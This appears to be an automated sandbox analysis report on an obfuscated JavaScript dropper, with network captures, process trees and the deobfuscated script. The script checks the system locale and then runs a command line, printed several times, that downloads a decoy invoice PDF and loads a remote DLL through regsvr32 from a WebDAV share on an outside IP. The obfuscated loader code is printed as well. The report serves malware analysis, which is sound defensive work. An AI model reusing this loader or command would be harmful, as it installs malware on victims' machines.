Jan 10, 2025 16:39:37.670274019 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 16:39:37.670284033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 16:39:37.670293093 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 16:39:37.670464993 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 16:39:37.670495033 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 16:39:37.670504093 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 16:39:37.670512915 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 16:39:37.670525074 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 16:39:37.670536041 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 16:39:37.675183058 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49783	193.143.1.205	8888	7728	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 16:39:39.953983068 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 16:39:40.743757963 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:39:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	10:39:32
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js"
Imagebase:	0x7ff7f2390000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:39:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Imagebase:	0x7ff6070f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:39:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:39:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:39:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:39:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6070f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:39:39
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f5c00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:39:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:39:40
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:39:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1528,i,8002698402134239555,5701417952929339914,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ebhiifa() {	ebhiifa() ➔ undefined
1	dxdkhjtnt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rccyr = this[popvzefq + mcefrpg + dfjiht + csjuxchw + sgyndyd + jzlpb + tughkrj + pjeopubt] ( this[ospwdfefq + qjpppzq + tefldddzl + dfjiht + ltcpkdoxi + popvzefq + pjeopubt][gsduormrd + dfjiht + sgyndyd + mcefrpg + pjeopubt + sgyndyd + bkdljd + gsiyqosx + dmreogs + sgyndyd + tefldddzl + pjeopubt] ( ospwdfefq + qjpppzq + tefldddzl + dfjiht + ltcpkdoxi + popvzefq + pjeopubt + rfwhfus + qjpppzq + vnuhh + sgyndyd + xghydzh + xghydzh ) [kszlbh + sgyndyd + sdatbqf + kszlbh + sgyndyd + mcefrpg + havjz] ( vuvmep + kpdkga + rfkak + rkecl + lyicdhbg + gsduormrd + pwfcou + kszlbh + kszlbh + rfkak + ukhtmtjf + kzpywr + lyicdhbg + pwfcou + qjpppzq + rfkak + kszlbh + mfyoy + gsduormrd + bijhxofg + tughkrj + pjeopubt + dfjiht + bijhxofg + xghydzh + zrdds + amrfsaokg + mcefrpg + tughkrj + sgyndyd + xghydzh + mfyoy + jzlpb + tughkrj + pjeopubt + sgyndyd + dfjiht + tughkrj + mcefrpg + pjeopubt + ltcpkdoxi + bijhxofg + tughkrj + mcefrpg + xghydzh + mfyoy + jraqtod + bijhxofg + tefldddzl + mcefrpg + xghydzh + sgyndyd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dluhcna = 0 ; dluhcna < dxdkhjtnt[xghydzh + sgyndyd + tughkrj + sdatbqf + pjeopubt + vnuhh] ; ++ dluhcna )
4	{
5	if ( rccyr == dxdkhjtnt[dluhcna] )
6	{
7	rccyr = true;
8	break ;
9	}
10	}
11	if ( rccyr !== true )
12	this[ospwdfefq + qjpppzq + tefldddzl + dfjiht + ltcpkdoxi + popvzefq + pjeopubt][pnvopnhna + kurek + ltcpkdoxi + pjeopubt] ( );
13	this[ospwdfefq + qjpppzq + tefldddzl + dfjiht + ltcpkdoxi + popvzefq + pjeopubt][gsduormrd + dfjiht + sgyndyd + mcefrpg + pjeopubt + sgyndyd + bkdljd + gsiyqosx + dmreogs + sgyndyd + tefldddzl + pjeopubt] ( ospwdfefq + qjpppzq + tefldddzl + dfjiht + ltcpkdoxi + popvzefq + pjeopubt + rfwhfus + qjpppzq + vnuhh + sgyndyd + xghydzh + xghydzh ) [dfjiht + kurek + tughkrj] ( tefldddzl + xemql + havjz + zrdds + ptsygg + tefldddzl + zrdds + popvzefq + bijhxofg + ugfrir + sgyndyd + dfjiht + csjuxchw + vnuhh + sgyndyd + xghydzh + xghydzh + rfwhfus + sgyndyd + ihrkxs + sgyndyd + zrdds + sorcjkkwd + gsduormrd + bijhxofg + xemql + xemql + mcefrpg + tughkrj + havjz + zrdds + qfiplizqz + jzlpb + tughkrj + lixzv + bijhxofg + wmwrzed + sgyndyd + sorcjkkwd + ospwdfefq + sgyndyd + gsiyqosx + kszlbh + sgyndyd + vivhjwwb + kurek + sgyndyd + csjuxchw + pjeopubt + zrdds + sorcjkkwd + bkdljd + kurek + pjeopubt + kykfapiqd + ltcpkdoxi + xghydzh + sgyndyd + zrdds + zameefzx + pjeopubt + sgyndyd + xemql + popvzefq + zameefzx + mfyoy + ltcpkdoxi + tughkrj + lixzv + bijhxofg + ltcpkdoxi + tefldddzl + sgyndyd + rfwhfus + popvzefq + havjz + rwfvlwan + zrdds + vnuhh + pjeopubt + pjeopubt + popvzefq + xsjdvyg + ptsygg + ptsygg + eswfsfk + gjeuaenq + kisrdb + rfwhfus + eswfsfk + vlioyvssq + kisrdb + rfwhfus + eswfsfk + rfwhfus + lnqej + alsmdb + fqcfwi + ptsygg + ltcpkdoxi + tughkrj + lixzv + bijhxofg + ltcpkdoxi + tefldddzl + sgyndyd + rfwhfus + popvzefq + vnuhh + popvzefq + qfiplizqz + rqwogaid + rqwogaid + csjuxchw + pjeopubt + mcefrpg + dfjiht + pjeopubt + zrdds + zameefzx + pjeopubt + sgyndyd + xemql + popvzefq + zameefzx + mfyoy + ltcpkdoxi + tughkrj + lixzv + bijhxofg + ltcpkdoxi + tefldddzl + sgyndyd + rfwhfus + popvzefq + havjz + rwfvlwan + rqwogaid + rqwogaid + tefldddzl + xemql + havjz + zrdds + ptsygg + tefldddzl + zrdds + tughkrj + sgyndyd + pjeopubt + zrdds + kurek + csjuxchw + sgyndyd + zrdds + mfyoy + mfyoy + eswfsfk + gjeuaenq + kisrdb + rfwhfus + eswfsfk + vlioyvssq + kisrdb + rfwhfus + eswfsfk + rfwhfus + lnqej + alsmdb + fqcfwi + jpbddyrtf + wqhkax + wqhkax + wqhkax + wqhkax + mfyoy + havjz + mcefrpg + lixzv + ugfrir + ugfrir + ugfrir + dfjiht + bijhxofg + bijhxofg + pjeopubt + mfyoy + rqwogaid + rqwogaid + tefldddzl + xemql + havjz + zrdds + ptsygg + tefldddzl + zrdds + dfjiht + sgyndyd + sdatbqf + csjuxchw + lixzv + dfjiht + kisrdb + lnqej + zrdds + ptsygg + csjuxchw + zrdds + mfyoy + mfyoy + eswfsfk + gjeuaenq + kisrdb + rfwhfus + eswfsfk + vlioyvssq + kisrdb + rfwhfus + eswfsfk + rfwhfus + lnqej + alsmdb + fqcfwi + jpbddyrtf + wqhkax + wqhkax + wqhkax + wqhkax + mfyoy + havjz + mcefrpg + lixzv + ugfrir + ugfrir + ugfrir + dfjiht + bijhxofg + bijhxofg + pjeopubt + mfyoy + lnqej + ubriwralf + alsmdb + wqhkax + kisrdb + eswfsfk + alsmdb + kisrdb + wqhkax + feywplmlq + vlioyvssq + gjeuaenq + fqcfwi + lnqej + rfwhfus + havjz + xghydzh + xghydzh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll",0,false) ➔ 0
14	}
15	dfjiht = "j";
16	dfjiht = "m";
17	dfjiht = "S";
18	dfjiht = "c";
19	dfjiht = "W";
20	dfjiht = "L";
21	dfjiht = "Q";
22	dfjiht = "F";
23	dfjiht = "f";
24	dfjiht = "q";
25	dfjiht = "g";
26	dfjiht = "R";
27	dfjiht = "z";
28	dfjiht = "F";
29	dfjiht = "I";
30	dfjiht = "f";
31	dfjiht = "S";
32	dfjiht = "k";
33	dfjiht = "U";
34	dfjiht = "w";
35	dfjiht = "n";
36	dfjiht = "R";
37	dfjiht = "v";
38	dfjiht = "y";
39	dfjiht = "G";
40	dfjiht = "b";
41	dfjiht = "k";
42	dfjiht = "r";
43	sdatbqf = "k";
44	sdatbqf = "X";
45	sdatbqf = "O";
46	sdatbqf = "V";
47	sdatbqf = "w";
48	sdatbqf = "U";
49	sdatbqf = "z";
50	sdatbqf = "g";
51	wmwrzed = "F";
52	wmwrzed = "l";
53	wmwrzed = "c";
54	wmwrzed = "W";
55	wmwrzed = "Y";
56	wmwrzed = "n";
57	wmwrzed = "z";
58	wmwrzed = "r";
59	wmwrzed = "B";
60	wmwrzed = "w";
61	wmwrzed = "P";
62	wmwrzed = "J";
63	wmwrzed = "P";
64	wmwrzed = "k";
65	lyicdhbg = "F";
66	lyicdhbg = "o";
67	lyicdhbg = "j";
68	lyicdhbg = "O";
69	lyicdhbg = "x";
70	lyicdhbg = "i";
71	lyicdhbg = "z";
72	lyicdhbg = "i";
73	lyicdhbg = "l";
74	lyicdhbg = "o";
75	lyicdhbg = "_";
76	lixzv = "J";
77	lixzv = "S";
78	lixzv = "l";
79	lixzv = "A";
80	lixzv = "I";
81	lixzv = "v";
82	lixzv = "Z";
83	lixzv = "p";
84	lixzv = "U";
85	lixzv = "G";
86	lixzv = "H";
87	lixzv = "w";
88	lixzv = "I";
89	lixzv = "c";
90	lixzv = "o";
91	lixzv = "r";
92	lixzv = "o";
93	lixzv = "b";
94	lixzv = "z";
95	lixzv = "f";
96	lixzv = "S";
97	lixzv = "R";
98	lixzv = "v";
99	lixzv = "P";
100	lixzv = "w";
101	lixzv = "T";
102	lixzv = "P";
103	lixzv = "u";
104	lixzv = "k";
105	lixzv = "v";
106	kykfapiqd = "d";
107	kykfapiqd = "X";
108	kykfapiqd = "f";
109	kykfapiqd = "k";
110	kykfapiqd = "o";
111	kykfapiqd = "L";
112	kykfapiqd = "W";
113	kykfapiqd = "O";
114	kykfapiqd = "M";
115	kykfapiqd = "W";
116	kykfapiqd = "U";
117	kykfapiqd = "e";
118	kykfapiqd = "M";
119	kykfapiqd = "y";
120	kykfapiqd = "D";
121	kykfapiqd = "n";
122	kykfapiqd = "j";
123	kykfapiqd = "C";
124	kykfapiqd = "x";
125	kykfapiqd = "Q";
126	kykfapiqd = "f";
127	kykfapiqd = "D";
128	kykfapiqd = "r";
129	kykfapiqd = "X";
130	kykfapiqd = "i";
131	kykfapiqd = "X";
132	kykfapiqd = "F";
133	kurek = "c";
134	kurek = "u";
135	kurek = "Y";
136	kurek = "a";
137	kurek = "s";
138	kurek = "N";
139	kurek = "F";
140	kurek = "P";
141	kurek = "n";
142	kurek = "K";
143	kurek = "U";
144	kurek = "y";
145	kurek = "N";
146	kurek = "S";
147	kurek = "d";
148	kurek = "N";
149	kurek = "G";
150	kurek = "b";
151	kurek = "V";
152	kurek = "d";
153	kurek = "S";
154	kurek = "R";
155	kurek = "S";
156	kurek = "X";
157	kurek = "C";
158	kurek = "I";
159	kurek = "z";
160	kurek = "h";
161	kurek = "i";
162	kurek = "j";
163	kurek = "E";
164	kurek = "x";
165	kurek = "u";
166	zrdds = "W";
167	zrdds = "W";
168	zrdds = "p";
169	zrdds = "B";
170	zrdds = "T";
171	zrdds = "A";
172	zrdds = "j";
173	zrdds = "g";
174	zrdds = "S";
175	zrdds = "Q";
176	zrdds = "m";
177	zrdds = "w";
178	zrdds = "t";
179	zrdds = "D";
180	zrdds = "g";
181	zrdds = "l";
182	zrdds = "F";
183	zrdds = "P";
184	zrdds = "e";
185	zrdds = "l";
186	zrdds = "J";
187	zrdds = "G";
188	zrdds = "T";
189	zrdds = "k";
190	zrdds = "c";
191	zrdds = "D";
192	zrdds = "I";
193	zrdds = "V";
194	zrdds = " ";
195	popvzefq = "v";
196	popvzefq = "f";
197	popvzefq = "t";
198	popvzefq = "Q";
199	popvzefq = "E";
200	popvzefq = "w";
201	popvzefq = "r";
202	popvzefq = "J";
203	popvzefq = "z";
204	popvzefq = "Y";
205	popvzefq = "B";
206	popvzefq = "B";
207	popvzefq = "Q";
208	popvzefq = "l";
209	popvzefq = "L";
210	popvzefq = "j";
211	popvzefq = "X";
212	popvzefq = "n";
213	popvzefq = "s";
214	popvzefq = "V";
215	popvzefq = "T";
216	popvzefq = "H";
217	popvzefq = "Z";
218	popvzefq = "U";
219	popvzefq = "r";
220	popvzefq = "I";
221	popvzefq = "n";
222	popvzefq = "H";
223	popvzefq = "Q";
224	popvzefq = "J";
225	popvzefq = "k";
226	popvzefq = "n";
227	popvzefq = "V";
228	popvzefq = "g";
229	popvzefq = "e";
230	popvzefq = "E";
231	popvzefq = "E";
232	popvzefq = "I";
233	popvzefq = "g";
234	popvzefq = "M";
235	popvzefq = "i";
236	popvzefq = "M";
237	popvzefq = "p";
238	ugfrir = "u";
239	ugfrir = "u";
240	ugfrir = "H";
241	ugfrir = "w";
242	ugfrir = "p";
243	ugfrir = "w";
244	ugfrir = "w";
245	vlioyvssq = "D";
246	vlioyvssq = "k";
247	vlioyvssq = "T";
248	vlioyvssq = "f";
249	vlioyvssq = "J";
250	vlioyvssq = "T";
251	vlioyvssq = "o";
252	vlioyvssq = "B";
253	vlioyvssq = "q";
254	vlioyvssq = "j";
255	vlioyvssq = "e";
256	vlioyvssq = "E";
257	vlioyvssq = "4";
258	fqcfwi = "L";
259	fqcfwi = "q";
260	fqcfwi = "i";
261	fqcfwi = "x";
262	fqcfwi = "S";
263	fqcfwi = "s";
264	fqcfwi = "u";
265	fqcfwi = "S";
266	fqcfwi = "w";
267	fqcfwi = "n";
268	fqcfwi = "T";
269	fqcfwi = "E";
270	fqcfwi = "P";
271	fqcfwi = "f";
272	fqcfwi = "R";
273	fqcfwi = "k";
274	fqcfwi = "K";
275	fqcfwi = "X";
276	fqcfwi = "X";
277	fqcfwi = "U";
278	fqcfwi = "O";
279	fqcfwi = "U";
280	fqcfwi = "C";
281	fqcfwi = "C";
282	fqcfwi = "t";
283	fqcfwi = "V";
284	fqcfwi = "W";
285	fqcfwi = "5";
286	mfyoy = "w";
287	mfyoy = "z";
288	mfyoy = "Y";
289	mfyoy = "s";
290	mfyoy = "D";
291	mfyoy = "f";
292	mfyoy = "d";
293	mfyoy = "k";
294	mfyoy = "N";
295	mfyoy = "v";
296	mfyoy = "G";
297	mfyoy = "h";
298	mfyoy = "j";
299	mfyoy = "X";
300	mfyoy = "V";
301	mfyoy = "y";
302	mfyoy = "K";
303	mfyoy = "w";
304	mfyoy = "H";
305	mfyoy = "s";
306	mfyoy = "y";
307	mfyoy = "b";
308	mfyoy = "X";
309	mfyoy = "E";
310	mfyoy = "O";
311	mfyoy = "S";
312	mfyoy = "f";
313	mfyoy = "j";
314	mfyoy = "f";
315	mfyoy = "L";
316	mfyoy = "h";
317	mfyoy = "F";
318	mfyoy = "H";
319	mfyoy = "B";
320	mfyoy = "A";
321	mfyoy = "l";
322	mfyoy = "q";
323	mfyoy = "l";
324	mfyoy = "S";
325	mfyoy = "T";
326	mfyoy = "V";
327	mfyoy = "N";
328	mfyoy = "\\";
329	kisrdb = "x";
330	kisrdb = "u";
331	kisrdb = "s";
332	kisrdb = "m";
333	kisrdb = "a";
334	kisrdb = "q";
335	kisrdb = "Q";
336	kisrdb = "I";
337	kisrdb = "X";
338	kisrdb = "G";
339	kisrdb = "P";
340	kisrdb = "y";
341	kisrdb = "s";
342	kisrdb = "B";
343	kisrdb = "N";
344	kisrdb = "G";
345	kisrdb = "c";
346	kisrdb = "h";
347	kisrdb = "S";
348	kisrdb = "D";
349	kisrdb = "p";
350	kisrdb = "w";
351	kisrdb = "F";
352	kisrdb = "r";
353	kisrdb = "c";
354	kisrdb = "K";
355	kisrdb = "o";
356	kisrdb = "x";
357	kisrdb = "C";
358	kisrdb = "o";
359	kisrdb = "j";
360	kisrdb = "W";
361	kisrdb = "m";
362	kisrdb = "o";
363	kisrdb = "3";
364	vnuhh = "y";
365	vnuhh = "N";
366	vnuhh = "I";
367	vnuhh = "F";
368	vnuhh = "v";
369	vnuhh = "p";
370	vnuhh = "l";
371	vnuhh = "x";
372	vnuhh = "T";
373	vnuhh = "r";
374	vnuhh = "o";
375	vnuhh = "y";
376	vnuhh = "m";
377	vnuhh = "L";
378	vnuhh = "b";
379	vnuhh = "H";
380	vnuhh = "N";
381	vnuhh = "E";
382	vnuhh = "J";
383	vnuhh = "j";
384	vnuhh = "P";
385	vnuhh = "B";
386	vnuhh = "y";
387	vnuhh = "E";
388	vnuhh = "g";
389	vnuhh = "P";
390	vnuhh = "L";
391	vnuhh = "h";
392	pjeopubt = "N";
393	pjeopubt = "f";
394	pjeopubt = "M";
395	pjeopubt = "f";
396	pjeopubt = "w";
397	pjeopubt = "M";
398	pjeopubt = "q";
399	pjeopubt = "o";
400	pjeopubt = "o";
401	pjeopubt = "v";
402	pjeopubt = "c";
403	pjeopubt = "x";
404	pjeopubt = "F";
405	pjeopubt = "C";
406	pjeopubt = "c";
407	pjeopubt = "I";
408	pjeopubt = "r";
409	pjeopubt = "E";
410	pjeopubt = "W";
411	pjeopubt = "j";
412	pjeopubt = "A";
413	pjeopubt = "B";
414	pjeopubt = "J";
415	pjeopubt = "U";
416	pjeopubt = "o";
417	pjeopubt = "t";
418	gsiyqosx = "l";
419	gsiyqosx = "t";
420	gsiyqosx = "A";
421	gsiyqosx = "r";
422	gsiyqosx = "c";
423	gsiyqosx = "s";
424	gsiyqosx = "a";
425	gsiyqosx = "T";
426	gsiyqosx = "R";
427	gsiyqosx = "s";
428	gsiyqosx = "J";
429	gsiyqosx = "d";
430	gsiyqosx = "t";
431	gsiyqosx = "p";
432	gsiyqosx = "I";
433	gsiyqosx = "R";
434	gsiyqosx = "j";
435	gsiyqosx = "d";
436	gsiyqosx = "H";
437	gsiyqosx = "o";
438	gsiyqosx = "I";
439	gsiyqosx = "l";
440	gsiyqosx = "A";
441	gsiyqosx = "d";
442	gsiyqosx = "b";
443	gsiyqosx = "M";
444	gsiyqosx = "b";
445	gsiyqosx = "B";
446	gsiyqosx = "Q";
447	gsiyqosx = "A";
448	gsiyqosx = "H";
449	gsiyqosx = "n";
450	gsiyqosx = "N";
451	gsiyqosx = "t";
452	gsiyqosx = "j";
453	gsiyqosx = "b";
